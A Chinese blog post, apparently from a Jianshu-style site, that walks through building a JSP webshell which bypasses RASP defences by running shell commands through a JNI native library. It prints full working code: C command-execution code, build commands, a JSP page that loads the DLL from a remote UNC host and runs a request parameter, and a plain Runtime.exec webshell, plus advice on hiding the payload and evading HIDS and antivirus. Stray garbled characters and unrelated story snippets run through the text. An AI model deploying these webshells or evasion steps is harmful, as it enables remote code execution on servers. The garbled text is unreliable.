JNI技術(shù)繞過rasp防護(hù)實(shí)現(xiàn)jsp webshell

背景

原理

使用

????技術(shù)要點(diǎn)

????實(shí)戰(zhàn)使用

其他


背景

筆者近日看到了這樣一篇文章:

那些年我們堵住的洞 – OpenRASP紀(jì)實(shí)

????想到rasp這類工具是基于java仆百、php運(yùn)行期的堆棧信息進(jìn)行分析调塌,可以嘗試使用jni技術(shù)進(jìn)行繞過终抽。java技術(shù)棧中的jni的原理是使用java調(diào)用c瘤睹、c++函數(shù),具體實(shí)現(xiàn)的思路是jsp編譯為class文件棉安,該class通過jni技術(shù)調(diào)用另外一處dll里的函數(shù)繞過黑名單執(zhí)行命令獲取回顯攻晒,即可實(shí)現(xiàn)rasp和安全防護(hù)軟件的繞過。github地址:https://github.com/nanolikeyou/jniwebshell

原理使用

????以我們要實(shí)現(xiàn)的jsp webshell命名為test.jsp為例奏瞬。由于jni技術(shù)需要先通過javah+.class文件生成.h開頭的c頭文件枫绅,jsp是一種特殊的class文件,而jsp經(jīng)過Tomcat編譯class文件硼端,命名遵從test.jsp ->> org.apache.jsp.test_jsp.class撑瞧,所以我們需要新建package為org.apache.jsp,類名為test_jsp的.java文件。

package org.apache.jsp;

public class test_jsp
{
? ?class JniClass
? {
? ? ? ?public native String exec( String string );

? }

}

cd到編譯生成的target/class目錄显蝌,使用javah org.apache.jsp.test_jsp$JniClass命令生成org_apache_jsp_test_jsp_JniClass.h文件预伺,內(nèi)容為:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_apache_jsp_test_jsp_JniClass */

#ifndef _Included_org_apache_jsp_test_jsp_JniClass
#define _Included_org_apache_jsp_test_jsp_JniClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: ? ? org_apache_jsp_test_jsp_JniClass
* Method: ? exec
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec
(JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

調(diào)用上一步生成頭文件,編寫有回顯的c語言代碼

#include "jni.h"
#include "org_apache_jsp_test_jsp_JniClass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
? ?char buffer[1024*12]; ? ? ? ? ? ? ?//定義緩沖區(qū)
? ?FILE *pipe = _popen(cmd, "r"); //打開管道曼尊,并執(zhí)行命令
? ?if (!pipe)
? ? ? ?return 0; //返回0表示運(yùn)行失敗

? ?while (!feof(pipe))
? {
? ? ? ?if (fgets(buffer, 128, pipe))
? ? ? { //將管道輸出到result中
? ? ? ? ? ?strcat(result, buffer);
? ? ? }
? }
? ?_pclose(pipe); //關(guān)閉管道
? ?return 1; ? ? ?//返回1表示運(yùn)行成功
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

? ?const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
? ?char result[1024 * 12] = ""; //定義存放結(jié)果的字符串?dāng)?shù)組
? ?if (1 == execmd(cstr, result))
? {
? ? ? // printf(result);
? }

? ?char return_messge[100] = "";
? ?strcat(return_messge, result);
? ?jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
? ?//system();

? ?return cmdresult;
}
}

使用gcc將該c源碼編譯為dll或者lib(注意jdk版本要與目標(biāo)機(jī)器的

jdk保持一致)

gcc -I "c:\Program
Files\Java\jdk1.7.0_75\include" -I
"c:\Program Files\Java\jdk1.7.0_75\include\win32" --shared JniClass.c
-o 1.dll

具體在jsp load時有兩種思路酬诀,一種是將該jsp文件和該dll放置于服務(wù)器的本地路徑。jsp的代碼里指定dll的絕對路徑\相對路徑骆撇;另外一種是使用unc路徑瞒御,這樣惡意dll通過遠(yuǎn)程部署,加強(qiáng)隱蔽程度神郊,加大溯源難度肴裙、提高部署靈活度。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
?class JniClass {
? ?public native String exec(String string);
? ?public JniClass() {
? ? ?//System.load("/Users/nano/upload/libJniClass.jnilib");
? ? ?System.load("\\\\8.8.8.8\\classes\\1.dll");
? }
}
;
%>
<%
?String cmd ?= request.getParameter("cmd");
?JniClass jniClass = new JniClass();
?String res = jniClass.exec(cmd);
%>

<%=res%>

技術(shù)要點(diǎn)

  1. 對于linux|mac環(huán)境涌乳,上一步生成的java內(nèi)部類叫做JniClass蜻懦,在類unix平臺下,加載的庫名需要為lib開頭+JniClass+jnilib或者dylib夕晓。

  2. 核心的system.load|loadLibrary法是以File的形式記載dll|lib文件宛乃,該dll|lib路徑的以遠(yuǎn)程的方式加載的絕對路徑,所以需要目標(biāo)機(jī)器上測試判斷環(huán)境是支持//蒸辆,還是支持\\\征炼?簡單判斷方法是new file(path),然后判斷file.exist躬贡。如果是前者的linux環(huán)境谆奥,需要想辦法使用//的unc路徑,推薦使用samba搭建匿名訪問服務(wù)放置.jnilib載荷拂玻。如果是后者酸些,即目標(biāo)服務(wù)器為windows下的java應(yīng)用宰译,遠(yuǎn)程路徑需要以\\\\開頭,dll需要放在windows下擂仍,在windows平臺下445不通的情況下,會訪問WebDAV(開啟webclient)的80端口下載下來dll執(zhí)行熬甚。

  3. jni載荷的c逢渔、c++實(shí)現(xiàn)的代碼要具備健壯性,避免目標(biāo)環(huán)境的jvm奔潰乡括。

  4. 使用system函數(shù)執(zhí)行命令要小心被hids發(fā)現(xiàn)肃廓。

  5. 該webshell只在tomcat容器上測試過。

實(shí)戰(zhàn)使用

經(jīng)測試:jdk1.7+tomcat8.5+windows環(huán)境

jdk10+tomcat+Mac

rasp安全防護(hù)全開诲泌。

rasp安全防護(hù)全開盲赊。

樣本index.jsp為傳統(tǒng)的基于Runtime.getRuntime執(zhí)行命令,

<%@ page import="java.io.*" %>
<%
? ?try {
? ? ? ?String cmd = request.getParameter("cmd");
? ? ? ?Process child = Runtime.getRuntime().exec(cmd);
? ? ? ?InputStream in = child.getInputStream();
? ? ? ?int c;
? ? ? ?while ((c = in.read()) != -1) {
? ? ? ? ? ?out.print((char)c);
? ? ? }
? ? ? ?in.close();
? ? ? ?try {
? ? ? ? ? ?child.waitFor();
? ? ? } catch (InterruptedException e) {
? ? ? ? ? ?e.printStackTrace();
? ? ? }
? } catch (IOException e) {
? ? ? ?System.err.println(e);
? }
%>

毫不意外的被rasp記錄日志并阻斷敷扫。

使用jni突破rasp的jsp來執(zhí)行shell哀蘑,成功繞過。

成功繞過葵第。

使用d盾查殺

virustotal:


其他

如果您有其他的思路和建議绘迁,歡迎同我交流:)

參考資料

  • https://jayl1n.github.io/2019/06/26/sctf-2019-babyEoP-Writeup/

  • http://www.reibang.com/p/1a5fb579ef08

  • https://blog.csdn.net/qq_39448233/article/details/80882948

  • https://www.cnblogs.com/LittleHann/p/4326828.html

  • https://rasp.baidu.com/doc/

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市卒密,隨后出現(xiàn)的幾起案子缀台,更是在濱河造成了極大的恐慌,老刑警劉巖哮奇,帶你破解...
    沈念sama閱讀 218,451評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件膛腐,死亡現(xiàn)場離奇詭異,居然都是意外死亡鼎俘,警方通過查閱死者的電腦和手機(jī)哲身,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,172評論 3 394
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來贸伐,“玉大人律罢,你說我怎么就攤上這事」髫ぃ” “怎么了误辑?”我有些...
    開封第一講書人閱讀 164,782評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長歌逢。 經(jīng)常有香客問我巾钉,道長,這世上最難降的妖魔是什么秘案? 我笑而不...
    開封第一講書人閱讀 58,709評論 1 294
  • 正文 為了忘掉前任砰苍,我火速辦了婚禮潦匈,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘赚导。我一直安慰自己茬缩,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,733評論 6 392
  • 文/花漫 我一把揭開白布吼旧。 她就那樣靜靜地躺著凰锡,像睡著了一般。 火紅的嫁衣襯著肌膚如雪圈暗。 梳的紋絲不亂的頭發(fā)上掂为,一...
    開封第一講書人閱讀 51,578評論 1 305
  • 那天,我揣著相機(jī)與錄音员串,去河邊找鬼勇哗。 笑死,一個胖子當(dāng)著我的面吹牛寸齐,可吹牛的內(nèi)容都是我干的欲诺。 我是一名探鬼主播,決...
    沈念sama閱讀 40,320評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼渺鹦,長吁一口氣:“原來是場噩夢啊……” “哼瞧栗!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起海铆,我...
    開封第一講書人閱讀 39,241評論 0 276
  • 序言:老撾萬榮一對情侶失蹤迹恐,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后卧斟,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體殴边,經(jīng)...
    沈念sama閱讀 45,686評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,878評論 3 336
  • 正文 我和宋清朗相戀三年珍语,在試婚紗的時候發(fā)現(xiàn)自己被綠了锤岸。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,992評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡板乙,死狀恐怖是偷,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情募逞,我是刑警寧澤蛋铆,帶...
    沈念sama閱讀 35,715評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站放接,受9級特大地震影響刺啦,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜纠脾,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,336評論 3 330
  • 文/蒙蒙 一玛瘸、第九天 我趴在偏房一處隱蔽的房頂上張望蜕青。 院中可真熱鬧,春花似錦糊渊、人聲如沸右核。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,912評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽贺喝。三九已至,卻和暖如春芒篷,著一層夾襖步出監(jiān)牢的瞬間搜变,已是汗流浹背采缚。 一陣腳步聲響...
    開封第一講書人閱讀 33,040評論 1 270
  • 我被黑心中介騙來泰國打工针炉, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人扳抽。 一個月前我還...
    沈念sama閱讀 48,173評論 3 370
  • 正文 我出身青樓篡帕,卻偏偏與公主長得像,于是被迫代替她去往敵國和親贸呢。 傳聞我的和親對象是個殘疾皇子镰烧,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,947評論 2 355

推薦閱讀更多精彩內(nèi)容